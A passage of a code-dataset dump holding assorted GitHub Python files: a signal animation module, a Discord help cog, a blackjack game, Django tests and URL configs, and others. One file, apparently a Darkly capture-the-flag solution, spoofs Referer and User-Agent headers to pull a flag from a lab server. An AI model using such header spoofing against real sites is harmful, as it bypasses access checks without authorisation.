np\nfrom pyqtgraph.Qt import QtCore\n\nfrom traits.api import Button, Enum, Bool, Int, File\nfrom traitsui.api import View, VGroup, HGroup, UItem, \\\n Item, FileEditor, RangeEditor\nfrom pyface.timer.api import Timer\n\nimport ecoglib.vis.ani as ani\n\nfrom .base import VisModule, colormaps\nfrom ..helpers import Error, validate_file_path\nfrom .. import pyf_new_api\n\n__all__ = ['AnimateInterval']\n\n\nclass AnimateInterval(VisModule):\n name = 'Animate window'\n anim_frame = Button('Animate')\n anim_time_scale = Enum(50, [0.1, 0.5, 1, 5, 10, 20, 50, 100, 200, 500])\n _has_ffmpeg = Bool(False)\n write_frames = Button('Write movie')\n drop_video_frames = Int(1)\n video_file = File(\n os.path.join(os.path.abspath(os.curdir), 'vid.mp4')\n )\n cmap = Enum('gray', colormaps)\n clim = Enum('display', ('display', '[2-98]%', '[1-99]%', 'full'))\n\n def __init__(self, **traits):\n import matplotlib.animation as anim\n traits['_has_ffmpeg'] = 'ffmpeg' in anim.writers.list()\n super(AnimateInterval, self).__init__(**traits)\n\n def __step_frame(self):\n n = self.__n\n x = self.__x\n y = self.__y\n if n >= self.__n_frames:\n if pyf_new_api:\n self._atimer.stop()\n else:\n self._atimer.Stop()\n return\n t0 = time.time()\n scaled_dt = self.anim_time_scale * (x[1] - x[0])\n try:\n self.parent._qtwindow.set_image_frame(x=x[n], frame_vec=y[:, n])\n except IndexError:\n if pyf_new_api:\n self._atimer.stop()\n else:\n self._atimer.Stop()\n QtCore.QCoreApplication.instance().processEvents()\n # calculate the difference between the desired interval\n # and the time it just took to draw (per \"frame\")\n elapsed = time.time() - t0\n t_pause = scaled_dt - elapsed / self.__f_skip\n if t_pause < 0:\n self.__f_skip += 1\n else:\n # timer is in the middle of API change\n if pyf_new_api:\n self._atimer.interval = t_pause\n else:\n self._atimer.setInterval(t_pause * 1000.0)\n # check to see if the frame skip can be decreased (e.g.\n # real-time is slowed down)\n while elapsed / max(1, self.__f_skip - 1) < scaled_dt:\n self.__f_skip = max(1, self.__f_skip - 1)\n if self.__f_skip == 1:\n break\n self.__n += self.__f_skip\n\n def _anim_frame_fired(self):\n if hasattr(self, '_atimer'):\n if pyf_new_api and self._atimer.active:\n self._atimer.stop()\n return\n elif not pyf_new_api and self._atimer.IsRunning():\n self._atimer.Stop()\n return\n\n x, self.__y = self.curve_manager.interactive_curve.current_data(full_xdata=False)\n self.__f_skip = 1\n self.__x = x\n dt = self.__x[1] - self.__x[0]\n self.__n_frames = self.__y.shape[1]\n self.__n = 0\n self._atimer = Timer(self.anim_time_scale * dt * 1000,\n self.__step_frame)\n\n def _get_clim(self, array):\n if self.clim == 'full':\n return (array.min(), array.max())\n if self.clim.endswith('%'):\n clim = self.clim.replace('[', '').replace(']', '').replace('%', '')\n p_lo, p_hi = map(float, clim.split('-'))\n print(p_lo, p_hi)\n return np.percentile(array.ravel(), [p_lo, p_hi])\n else:\n clim = self.parent._qtwindow.cb.axis.range\n return clim[0] * 1e6, clim[1] * 1e6\n\n def _write_frames_fired(self):\n if not validate_file_path(self.video_file):\n ev = Error(\n error_msg='Invalid video file:\\n{0}'.format(self.video_file)\n )\n ev.edit_traits()\n return\n\n x, y = self.curve_manager.interactive_curve.current_data(full_xdata=False)\n y *= 1e6\n dt = x[1] - x[0]\n # fps is sampling frequency divided by time scale dilation\n fps = (dt * self.anim_time_scale) ** -1.0\n chan_map = self.chan_map\n if self.drop_video_frames > 1:\n x = x[::self.drop_video_frames]\n y = y[..., ::self.drop_video_frames]\n fps /= float(self.drop_video_frames)\n frames = chan_map.embed(y.T, axis=1)\n clim = self._get_clim(y)\n\n args = (frames, self.video_file)\n kwargs = dict(timer='s', time=x, fps=fps, title='Scroller video', quicktime=True, colorbar=True,\n cbar_label='uV', cmap=self.cmap, clim=clim, origin='upper', qtdpi=100)\n proc = Process(target=ani.write_frames, args=args, kwargs=kwargs)\n proc.start()\n\n def default_traits_view(self):\n v = View(\n HGroup(\n VGroup(\n Item('anim_time_scale', label='Divide real time'),\n Item('anim_frame'),\n label='Animate Frames'\n ),\n HGroup(\n VGroup(\n Item('video_file', label='MP4 File',\n editor=FileEditor(dialog_style='save')),\n UItem('write_frames')\n ),\n VGroup(\n Item('cmap', label='Colormap'),\n Item('clim', label='Color limit mode'),\n Item('drop_video_frames',\n label='Frame drop rate',\n editor=RangeEditor(low=1, high=100,\n mode='spinner')),\n ),\n visible_when='_has_ffmpeg'\n )\n )\n )\n return v\n","repo_name":"miketrumpis/lfp_scroller","sub_path":"fast_scroller/modules/animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39998576833","text":"ULTIMA_POSICAO = -1\nday_1 = int(input().split()[ULTIMA_POSICAO])\nh1, m1, s1 = map(int,input().split(':'))\n\nday_2 = int(input().split()[ULTIMA_POSICAO])\nh2, m2, s2 = map(int,input().split(':'))\n\nstart_in_seconds = (day_1 * 24 * 60 * 60) + (h1 * 60 * 60) + (m1 * 60) + s1\nfinal_in_seconds = (day_2 * 24 * 60 * 60) + (h2 * 60 * 60 ) + (m2 * 60) + s2\n\ndelta_time = final_in_seconds - start_in_seconds\n\n# 2 23:59:00 | 3 00:01:00\n# 2 5 3\n\n# print(time_in_sec_2 - time_in_sec_1)\n\nSECONDS_IN_ONE_DAY = (24 * 60 * 60)\nSECONDS_IN_ONE_HOUR = (60 * 60)\nSECONDS_IN_ONE_MINUTE = (60)\n\ndelta_days = delta_time // SECONDS_IN_ONE_DAY\ndelta_time -= delta_days * SECONDS_IN_ONE_DAY\n\ndelta_hours = delta_time // SECONDS_IN_ONE_HOUR\ndelta_time -= delta_hours * SECONDS_IN_ONE_HOUR\n\ndelta_minutes = delta_time // SECONDS_IN_ONE_MINUTE\ndelta_time -= delta_minutes * SECONDS_IN_ONE_MINUTE\n\ndelta_seconds = delta_time\n\n# for _ in range(time_in_sec_1, time_in_sec_2):\n# delta_seconds += 1\n# if delta_seconds == 60:\n# delta_minutes += 1\n# s = 0\n# if delta_minutes == 60:\n# delta_hours += 1\n# delta_minutes = 0\n# if delta_hours == 24:\n# delta_days += 1\n# delta_hours = 0\n\nprint(f\"{delta_days} Dias\",\n f\"{delta_hours} horas\",\n f\"{delta_minutes} minutos\",\n f\"{delta_seconds} sedundos\",\n sep = '\\n')","repo_name":"Hoogle-Education/Eduardo-Santos","sub_path":"reviews/1061.py","file_name":"1061.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38105712429","text":"import random\n\nclass Cards:\n suits = [\"diamond\", \"heart\", \"spade\", \"club\"]\n ranks = [['2', 2],\n ['3', 3],\n ['4', 4],\n ['5', 5],\n ['6', 6],\n ['7', 7],\n ['8', 8],\n ['9', 9],\n ['10', 10],\n ['J', 10],\n ['Q', 10],\n ['K', 10],\n ['A', 11]]\n mydeck = []\n\n def __init__(self):\n for i in self.suits:\n for j in self.ranks:\n self.mydeck.append([j, i])\n random.shuffle(self.mydeck)\n\n def print_deck(self):\n print(self.mydeck)\n\n def print_hello(self):\n print(\"Hello. Welcome to the game\")\n \n def deal_card(self):\n return self.mydeck.pop()\n\n def card_status(self, card):\n return (f'{card[0][0]} of {card[1]}')\n \n def print_hand(self, cards):\n myhand = '('\n for i in cards:\n myhand += f'{self.card_status(i)}, '\n return myhand + ')'\n \n def calc_score(self, cards):\n score = 0\n for i in cards:\n rank = i[0][0]\n score += int(i[0][1])\n if rank == 'A':\n print (\"Ace is 1 or 11\")\n if score > 21:\n print (\"Ace is 1\")\n score -= 10\n elif score == 21:\n print (\"Blackjack\")\n else:\n print (\"Ace is 11\")\n return int (score)\n \n def ace_in_the_hole(self, cards):\n for i in cards:\n if i[0][0] == 'A':\n return True\n return False\n\n\nmycards = Cards()\n\ncards_dealer = []\ncards_player = []\n\nmycards.print_hello()\n# mycards.print_deck()\n\nkeep_playing = True\nplaying = False\n\nwhile keep_playing == True:\n if playing == True:\n print (f'You have {str(len(cards_player))} cards {mycards.print_hand(cards_player)}, score = {mycards.calc_score(cards_player)}.')\n choice = input(f'hit or stay? (h/s) \\n')\n if choice == \"h\":\n newcard = mycards.deal_card()\n print(f'You drew {mycards.card_status(newcard)}.')\n cards_player.append(newcard)\n # print(f'You have {str(len(cards_player))} cards showing {cards_player}.')\n if mycards.calc_score(cards_player) > 21:\n print(\"BUST!\")\n keep_playing = False\n playing = False\n\n elif mycards.calc_score(cards_player) < 21:\n print(\"Your new score is \" + str(mycards.calc_score(cards_player)))\n\n elif mycards.calc_score(cards_player) == 21:\n print(\"Blackjack!\")\n keep_playing = False\n playing = False \n\n if len(cards_player) == 5:\n print(\"You win!\")\n keep_playing = False\n playing = False\n elif choice == \"s\":\n print(\"You stay\")\n keep_playing = False\n playing = False\n else:\n print(\"Invalid input\")\n else:\n\n choice = input(\"Do you want to play? (y/n)\")\n\n if choice == \"y\" and playing == False:\n print ('Dealing cards')\n playing = True\n cards_dealer.append(mycards.deal_card())\n cards_player.append(mycards.deal_card())\n cards_dealer.append(mycards.deal_card())\n cards_player.append(mycards.deal_card())\n # print (f'You have {str(len(cards_player))} cards showing {cards_player}.')\n elif choice == \"n\":\n keep_playing = False\n playing = False\n else:\n print(\"Invalid input\")\n\nwhile mycards.calc_score(cards_dealer) < 17:\n print (f'Dealer has {str(len(cards_dealer))} cards {mycards.print_hand(cards_dealer)}, score = {mycards.calc_score(cards_dealer)}.')\n\n newcard = mycards.deal_card()\n print(f'Dealer drew {mycards.card_status(newcard)}.')\n cards_dealer.append(newcard)\n dealer_score = mycards.calc_score(cards_dealer)\n if dealer_score > 21:\n print(\"DEALER BUST!\")\n keep_playing = False\n playing = False\n\n elif dealer_score < 21:\n print(\"Dealer's new score is \" + str(dealer_score))\n\n elif dealer_score == 21:\n print(\"DEALER Blackjack!\")\n keep_playing = False\n playing = False\n\ndealer_score = mycards.calc_score(cards_dealer)\nplayer_score = mycards.calc_score(cards_player)\n\nif dealer_score > player_score:\n if dealer_score > 21:\n print(\"Dealer BUST!\")\n if player_score == 21:\n print(\"Player wins! Blackjack!\")\n elif player_score < 21:\n print(\"Player wins!\")\n elif dealer_score <= 21:\n print(\"Dealer wins!\")\n else:\n print (\"Not possible -1 \")\n\nelif dealer_score == player_score:\n if mycards.ace_in_the_hole(cards_dealer) == True:\n print(\"Dealer wins!\")\n elif mycards.ace_in_the_hole(cards_player) == True:\n print(\"Player wins!\")\n else:\n print(\"Push\")\n\nelif dealer_score < player_score:\n if player_score > 21:\n print(\"Player BUST!\")\n if dealer_score == 21:\n print(\"Dealer wins! Blackjack!\")\n elif dealer_score < 21:\n print(\"Dealer wins!\")\n elif player_score <= 21:\n print(\"Player wins!\")\n else:\n print (\"Not possible -2 \")\n print(\"You win!\")\n","repo_name":"marcoman/experimental-100","sub_path":"11-20/11/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"392985741","text":"\n\n# Created on Mar 20, 2020\n#\n# @author: ballance\n\nfrom vsc.model.coverpoint_bin_model_base import CoverpointBinModelBase\nfrom vsc.model.expr_bin_model import ExprBinModel\nfrom vsc.model.expr_literal_model import ExprLiteralModel\nfrom vsc.model.bin_expr_type import BinExprType\n\nclass CoverpointBinSingleRangeModel(CoverpointBinModelBase):\n \n def __init__(self, \n name, \n target_val_low : int, \n target_val_high : int):\n super().__init__(name)\n self.target_val_low = target_val_low\n self.target_val_high = target_val_high\n self.n_bins = 1\n \n def finalize(self, bin_idx_base:int)->int:\n super().finalize(bin_idx_base)\n return 1\n \n def get_bin_expr(self, bin_idx):\n \"\"\"Builds expressions to represent the values in this bin\"\"\"\n expr = ExprBinModel(\n ExprBinModel(\n self.cp.target,\n BinExprType.Ge,\n ExprLiteralModel(self.target_val_low, False, 32)),\n BinExprType.And,\n ExprBinModel(\n self.cp.target,\n BinExprType.Le,\n ExprLiteralModel(self.target_val_high, False, 32))\n )\n return expr \n \n def get_bin_name(self, bin_idx):\n return self.name \n \n def sample(self):\n val = int(self.cp.get_val())\n if val >= self.target_val_low and val <= self.target_val_high:\n self.hit_bin_idx = 0\n self.cp.coverage_ev(\n self.bin_idx_base,\n self.bin_type)\n else:\n self.hit_bin_idx = -1\n \n return self.hit_bin_idx\n \n def accept(self, v):\n v.visit_coverpoint_bin_single_range(self)\n \n def equals(self, oth)->bool:\n eq = isinstance(oth, CoverpointBinSingleRangeModel)\n \n if eq:\n eq &= (self.target_val_low == oth.target_val_low)\n eq &= (self.target_val_high == oth.target_val_high)\n \n return eq\n \n def clone(self)->'CoverpointBinSingleRangeModel':\n ret = CoverpointBinSingleRangeModel(\n self.name, \n self.target_val_low,\n self.target_val_high)\n ret.srcinfo_decl = None if self.srcinfo_decl is None else self.srcinfo_decl.clone()\n \n return ret\n \n ","repo_name":"fvutils/pyvsc","sub_path":"src/vsc/model/coverpoint_bin_single_range_model.py","file_name":"coverpoint_bin_single_range_model.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"44"} +{"seq_id":"7461418045","text":"import requests\nimport re\nimport os\n\nip = os.getenv('darkly_ip')\nbaseurl = f'http://{ip}/'\n\nif __name__ == '__main__':\n r = requests.get(baseurl + '/index.php?page=e43ad1fdc54babe674da7c7b8f0127bde61de3fbe01def7d00f151c2fcca6d1c', headers={\n 'Referer': 'https://www.nsa.gov/',\n 'User-Agent': 'ft_bornToSec'\n })\n m = re.findall('The flag is : ([a-z0-9]+)<', r.text)\n print(*m)\n\n","repo_name":"Sacrimento/Darkly","sub_path":"header/Ressources/get_flag.py","file_name":"get_flag.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28592196563","text":"from discord import Embed\nfrom discord.ext import commands\nfrom utils import split_every, not_self, module_help, error_message\n\nclass Help(commands.Cog):\n\n # Config #\n \n modules_per_page = 6\n \n # Config End #\n\n def __init__(self):\n self.command = self.prefix + 'help'\n def __asinit__(self):\n self.bot_mention = '<@!{}>'.format(self.bot.user.id)\n self.modules_dict = dict(self.bot.cogs.items())\n self.modules_dict['Help'] = self\n self.modules = split_every(list(self.modules_dict.keys()), self.modules_per_page)\n self.module_pages = len(self.modules)\n\n def help_message(self):\n return \"\"\"Provides help messages for all active modules.\\n\n``{0} (page)``\n \\> View more modules.\n``{0} (module)``\n \\> Provides help for currently running modules.\n\"\"\".format(self.command)\n\n @commands.Cog.listener()\n async def on_message(self, message):\n if message.content == self.bot_mention:\n await self.help_menu(message.channel, 1)\n\n @commands.command()\n @not_self()\n async def help(self, ctx, *args):\n try:\n message = ctx.message\n channel = message.channel\n if not args:\n return await self.help_menu(channel, 1)\n arg = '_'.join(args)\n if arg.isdigit():\n return await self.help_menu(channel, int(arg))\n else:\n return await self.help_module(channel, arg)\n except Exception as e:\n print(e)\n\n async def help_menu(self, channel, number):\n if number > 0:\n number -= 1\n if number >= self.module_pages:\n return await error_message(channel, \"The number you have entered is too big, it must be at most {}\".format(self.module_pages))\n embed = Embed(description=\"**Modules List - Page {0} out of {1}**\\n⠀\".format(number + 1, self.module_pages))\n for module in self.modules[number]:\n obj = self.modules_dict[module]\n try:\n desc = obj.help_message()\n except:\n desc = None\n if not desc:\n desc = \"This module doesn't have a help message.\"\n if '\\n' in desc:\n desc = desc.split('\\n', 1)[0]\n embed.add_field(name=module.replace('_', ' ') + \" Module\", value=desc, inline=True)\n embed.set_footer(text=\"⠀\\nType {0} (module) for more information on a Module\\nType {0} (page) to see more Modules\".format(self.command))\n await channel.send(embed=embed)\n async def help_module(self, channel, module_name):\n try:\n if module_name.endswith('_module'):\n module_name = module_name.rsplit('_module', 1)[0]\n for module_obj_name, module_obj in self.modules_dict.items():\n if module_obj_name.lower() == module_name:\n return await module_help(channel, module_obj)\n await channel.send(\"Module not found\")\n except Exception as e:\n print(e)","repo_name":"Soumeh-zz/Principality","sub_path":"Help.py","file_name":"Help.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30920125428","text":"import turtle\n\n__author__=\"Noah Abdelguerfi\"\n__date__ =\"$Dec 27, 2014 10:57:10 PM$\"\n\n\"\"\"\n# method draws a square incriments heading\n# continues until it reaches 360 degrees\n\"\"\"\n\ndef draw_circle_with_squares():\n degrees = 0\n \n squareCircle = turtle.Turtle()\n squareCircle.shape(\"turtle\")\n squareCircle.color(\"green\")\n squareCircle.speed(100)\n \n while degrees != 360:\n\n for i in range(0,4): \n squareCircle.forward(100)\n squareCircle.right(90)\n \n degrees += 1\n squareCircle.setheading(degrees)\n\n\"\"\"\n#create a screen \n#set backround color to red\n#call methods: draw_circle_with_squares\n\"\"\" \ndef main():\n \n window = turtle.Screen()\n window.bgcolor(\"red\")\n draw_circle_with_squares()\n\nmain()\n\n \n \n","repo_name":"noahgithubpractice/PracticePrograms","sub_path":"python programs/DrawShapes/src/DrawShapes/CircleSquare.py","file_name":"CircleSquare.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23622435006","text":"from rest_framework import serializers\nfrom api_user.models import UserModel\n\nclass UserModelSerializer(serializers.ModelSerializer):\n class Meta:\n model = UserModel\n fields = ('user_id',\n 'user_pw',\n 'user_nm',\n 'user_mobile_no',\n 'user_ty',\n 'device_token',\n 'cre_dt',\n 'cre_id',\n 'upt_dt',\n 'upt_id')\n","repo_name":"kwonmingwan/kinpec_redis","sub_path":"api_user/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73074278854","text":"import datetime\nfrom decimal import Decimal\nfrom unittest import mock\nfrom unittest.mock import Mock, call\n\nimport asynctest\nimport pytest\nfrom celery.exceptions import MaxRetriesExceededError, Retry\nfrom freezegun import freeze_time\n\nfrom project.apps.indicators.mms.tasks import (\n task_beat_select_pairs_to_mms,\n task_calculate_simple_moving_average\n)\nfrom project.core.locks import LockActiveError\nfrom project.services.candles.schemas import CandleSchema\n\n\nclass TestTaskCalculateSimpleMovingAverage:\n\n @pytest.fixture()\n def mock_return_get_candles(self):\n return [\n CandleSchema(\n timestamp=1622689200,\n open=Decimal('190806.7413400000'),\n close=Decimal('198499.9795800000'),\n high=Decimal('198542.0000000000'),\n low=Decimal('190000.0000000000'),\n volume=Decimal('72.5853810900')\n )\n for _ in range(200)\n ]\n\n @pytest.fixture()\n def mock_get_candles(self, mock_return_get_candles):\n with asynctest.patch(\n 'project.apps.indicators.mms.tasks.'\n 'calculate_simple_moving_average_by_candles'\n ) as mock_get_candles:\n mock_get_candles.return_value = mock_return_get_candles\n yield mock_get_candles\n\n @pytest.fixture()\n def mock_logger(self):\n with mock.patch(\n 'project.apps.indicators.mms.tasks.logger'\n ) as mock_logger:\n yield mock_logger\n\n @pytest.fixture\n def mock_cache_lock(self):\n with mock.patch('project.apps.indicators.mms.tasks.CacheLock') as lock:\n yield lock\n\n def test_should_validate_if_a_task_was_successfully_executed(\n self,\n mock_logger,\n mock_get_candles,\n mock_cache_lock,\n ):\n pair = 'BRLBTC'\n precision = '1d'\n datetime_started = datetime.datetime(2021, 6, 6, 23, 59).isoformat()\n\n task_calculate_simple_moving_average(\n pair, precision, datetime_started\n )\n\n mock_get_candles.assert_awaited_once_with(\n pair='BRLBTC',\n precision='1d',\n timestamp=1622937599,\n from_timestamp=1605657600,\n to_timestamp=1622937599,\n )\n mock_cache_lock.assert_called_once_with(\n key='task_calculate_simple_moving_average:BRLBTC-1d-2021-06-06',\n cache_alias='lock',\n expire=300,\n delete_on_exit=True\n )\n mock_logger.assert_has_calls([\n call.info(\n 'Starting simple moving average indicator calculation',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average'\n ),\n call.info(\n 'Successfully calculated simple moving average',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average'\n ),\n ])\n\n def test_should_validate_cache_locked_exception(\n self,\n mock_logger,\n mock_get_candles,\n mock_cache_lock,\n ):\n pair = 'BRLBTC'\n precision = '1d'\n datetime_started = datetime.datetime(2021, 6, 6, 23, 59).isoformat()\n mock_cache_lock.side_effect = LockActiveError\n\n task_calculate_simple_moving_average(\n pair, precision, datetime_started\n )\n\n mock_logger.assert_has_calls([\n call.info(\n 'Processing not completed as there is already another one '\n 'being processed',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average'\n )\n ])\n\n @mock.patch(\n 'project.apps.indicators.mms.tasks.'\n 'task_calculate_simple_moving_average.retry'\n )\n @freeze_time('2021-6-6 23:00')\n def test_should_validate_the_retry_when_an_exception_occurs(\n self,\n task_retry,\n mock_logger,\n mock_get_candles,\n mock_cache_lock,\n ):\n task_retry.side_effect = Retry\n mock_cache_lock.side_effect = Exception\n\n pair = 'BRLBTC'\n precision = '1d'\n datetime_started = datetime.datetime(2021, 6, 6, 23, 59).isoformat()\n\n with pytest.raises(Retry):\n task_calculate_simple_moving_average(\n pair, precision, datetime_started\n )\n\n mock_logger.assert_has_calls([\n call.error(\n 'Error calculating simple moving average',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average',\n eta='2021-06-06T23:30:00+00:00',\n exc_info=True\n )\n ])\n\n @freeze_time('2021-6-6 23:55')\n def test_should_validate_that_it_will_no_longer_retry_when_the_date_is_the_next_day( # noqa\n self,\n mock_logger,\n mock_get_candles,\n mock_cache_lock,\n ):\n mock_cache_lock.side_effect = Exception\n\n pair = 'BRLBTC'\n precision = '1d'\n datetime_started = datetime.datetime(2021, 6, 6, 23, 59).isoformat()\n\n task_calculate_simple_moving_average(\n pair, precision, datetime_started\n )\n\n mock_logger.assert_has_calls([\n call.critical(\n 'Could not calculate simple moving average',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average',\n eta='2021-06-07T00:25:00+00:00',\n exc_info=True\n )\n ])\n\n\nclass TestTaskBeatSelectPairsToMms:\n\n @pytest.fixture\n def mock_cache_lock(self):\n with mock.patch('project.apps.indicators.mms.tasks.CacheLock') as lock:\n yield lock\n\n @pytest.fixture()\n def mock_logger(self):\n with mock.patch(\n 'project.apps.indicators.mms.tasks.logger'\n ) as mock_logger:\n yield mock_logger\n\n @pytest.fixture\n def mock_task_calculate(self):\n with mock.patch(\n 'project.apps.indicators.mms.tasks.task_calculate_simple_moving_average' # noqa\n ) as task_mock:\n yield task_mock\n\n @freeze_time('2021-6-6 15:00')\n @mock.patch('project.apps.indicators.mms.tasks.random')\n def test_should_validate_if_a_task_was_successfully_executed(\n self,\n mock_random,\n mock_logger,\n mock_task_calculate,\n mock_cache_lock,\n ):\n mock_randint = Mock()\n mock_randint.return_value = 30\n mock_random.randint = mock_randint\n\n task_beat_select_pairs_to_mms()\n\n assert mock_task_calculate.apply_async.call_count == 2\n assert mock_cache_lock.call_count == 2\n mock_logger.info.assert_called_once_with(\n 'Request to calculate the simple moving average of pairs '\n 'successfully performed',\n task='task_beat_select_pairs_to_mms',\n datetime_started='2021-06-06T15:00:00+00:00',\n precision='1d',\n )\n\n def test_should_validate_cache_locked_exception(\n self,\n mock_task_calculate,\n mock_cache_lock,\n ):\n mock_cache_lock.side_effect = LockActiveError\n task_beat_select_pairs_to_mms()\n mock_task_calculate.assert_not_called()\n\n @mock.patch(\n 'project.apps.indicators.mms.tasks.task_beat_select_pairs_to_mms.retry'\n )\n @freeze_time('2021-6-6 15:00')\n def test_should_validate_the_retry_when_an_exception_occurs(\n self,\n mock_retry,\n mock_task_calculate,\n mock_cache_lock,\n mock_logger,\n ):\n mock_retry.side_effect = Retry\n mock_task_calculate.apply_async.side_effect = Exception\n\n with pytest.raises(Retry):\n task_beat_select_pairs_to_mms()\n\n assert call().__enter__().delete_cache() in mock_cache_lock.mock_calls\n mock_logger.error.assert_called_once_with(\n 'Error selecting pairs for calculate MMS',\n task='task_beat_select_pairs_to_mms',\n datetime_started='2021-06-06T15:00:00+00:00',\n precision='1d',\n exc_info=True\n )\n\n @mock.patch(\n 'project.apps.indicators.mms.tasks.task_beat_select_pairs_to_mms.retry'\n )\n @freeze_time('2021-6-6 15:00')\n def test_should_validate_when_it_exceeds_the_maximum_retries(\n self,\n mock_retry,\n mock_task_calculate,\n mock_cache_lock,\n mock_logger,\n ):\n mock_retry.side_effect = MaxRetriesExceededError\n mock_task_calculate.apply_async.side_effect = Exception\n\n task_beat_select_pairs_to_mms()\n\n assert call().__enter__().delete_cache() in mock_cache_lock.mock_calls\n mock_logger.error.assert_called_once_with(\n 'Error selecting pairs for calculate MMS',\n task='task_beat_select_pairs_to_mms',\n datetime_started='2021-06-06T15:00:00+00:00',\n precision='1d',\n exc_info=True\n )\n mock_logger.critical.assert_called_once_with(\n 'Max retries exceeded when selecting pairs for calculate MMS',\n task='task_beat_select_pairs_to_mms',\n datetime_started='2021-06-06T15:00:00+00:00',\n precision='1d',\n exc_info=True\n )\n","repo_name":"duducp/django-mercado-biticoin-mms","sub_path":"src/project/apps/indicators/mms/tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":9672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28120039695","text":"import re\nfrom datetime import datetime\nfrom datetime import timedelta\n\na = \"2020-07-24T10:59:00-06:00\"\nproductTime = datetime.fromisoformat(a)\n\nnowTime = datetime.now().astimezone().replace(microsecond=0)\n\nprint(productTime)\nprint(nowTime)\n\nif productTime > nowTime:\n\tprint(\"yey\")\n","repo_name":"vincentwimmer/Python-Bits-and-Bytes","sub_path":"String-To-Time-And-Compare.py","file_name":"String-To-Time-And-Compare.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"44"} +{"seq_id":"28789301021","text":"from django.conf.urls import patterns, url, include\nfrom rest_framework.routers import DefaultRouter\nfrom django.contrib import admin\n\nfrom api.bookingMana.views import MyBookingDetailViewSet, MyBookingViewSet, BookingGolfcourseViewSet, BookingUpdateViewSet, BookingReportViewSet,GetTeetimes, HoldTeetimes, BookingView, BookedTeeTimeViewSet, BookedPartnerViewSet, CheckPriceView, BookingSettingViewSet, BookingCancellationViewSet, ReportViewSet, \\\n\t\t\t\t\t\t\t\tBookingGCViewSet, BookingSuccessViewSet, CancelReportViewSet,PaymentNotify, AutoCheckPayment, BookingRequest\nfrom django.conf import settings\n\nadmin.autodiscover()\n\nrouter = DefaultRouter()\n\nrouter.register('booking/teetime', BookedTeeTimeViewSet, base_name='teetime')\nrouter.register('booking/partner', BookedPartnerViewSet)\nrouter.register(r'booking/setting', BookingSettingViewSet)\n\nurlpatterns = patterns('',\n url(r'', include(router.urls)),\n url(r'^booking/$', GetTeetimes.as_view()),\n url(r'success-booking/(?P[^/]+)/', BookingSuccessViewSet.as_view()),\n url(r'async-payment/', AutoCheckPayment.as_view()),\n url(r'^comission/$', ReportViewSet.as_view()),\n url(r'^cancelreport/$', CancelReportViewSet.as_view()),\n url(r'^my-booking/$', MyBookingViewSet.as_view()),\n url(r'my-booking/(?P[^/]+)/', MyBookingDetailViewSet.as_view()),\n url(r'^booking/hold$', HoldTeetimes.as_view()),\n url(r'^booking/golfcourse', BookingGolfcourseViewSet.as_view()),\n url(r'^booking/report$', BookingReportViewSet.as_view()),\n url(r'^booking/gcadmin$', BookingGCViewSet.as_view()),\n url(r'^booking/update', BookingUpdateViewSet.as_view()),\n # url(r'^booking/reset$', BookingResetViewSet.as_view()),\n url(r'^booking/payment-notify/$', PaymentNotify.as_view()),\n url(r'^booking/payment/$', BookingView.as_view()),\n url(r'^booking/price/$', CheckPriceView.as_view()),\n url(r'^bookingrequest/(?P[^/]+)/', BookingRequest.as_view()),\n url(r'cancel-teetime/(?P[^/]+)/', BookingCancellationViewSet.as_view()))\ncheck_voucher = patterns('', url(r'^booking/check-voucher$', 'api.bookingMana.views.check_valid_voucher'))\nget_gc24_price = patterns('', url(r'^booking/get-gc24price$', 'api.bookingMana.views.get_gc24_price'))\nrequest_invoice = patterns('', url(r'^booking/invoice$', 'api.bookingMana.views.request_invoice'))\nsend_thankyou_email = patterns('', url(r'^booking/thankyou$', 'api.bookingMana.views.send_after_booking_email'))\nupdate_booking_note = patterns('', url(r'^booking/note$', 'api.bookingMana.views.update_booking_note'))\nurlpatterns += check_voucher\nurlpatterns += get_gc24_price\nurlpatterns += request_invoice\nurlpatterns += send_thankyou_email\nurlpatterns += patterns('',\n url(r'^media/qr_codes/(?P.*)$',\n 'django.views.static.serve',\n {'document_root': settings.MEDIA_ROOT + 'qr_codes/', }),\n )","repo_name":"minhdo6487/api-proto","sub_path":"api/bookingMana/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42315121353","text":"from enum import IntEnum\nfrom gettext import gettext as _\nfrom gi.repository import GLib, GObject, Gtk\n\nfrom gnomemusic import log\n\n\nclass NotificationsPopup(Gtk.Revealer):\n \"\"\"Display notification messages as popups\n\n There are two types of messages:\n - loading notification\n - playlist or 